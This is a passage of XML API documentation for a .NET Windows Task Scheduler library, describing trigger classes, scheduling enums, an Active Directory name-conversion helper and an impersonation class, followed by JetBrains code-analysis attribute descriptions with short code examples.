of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some 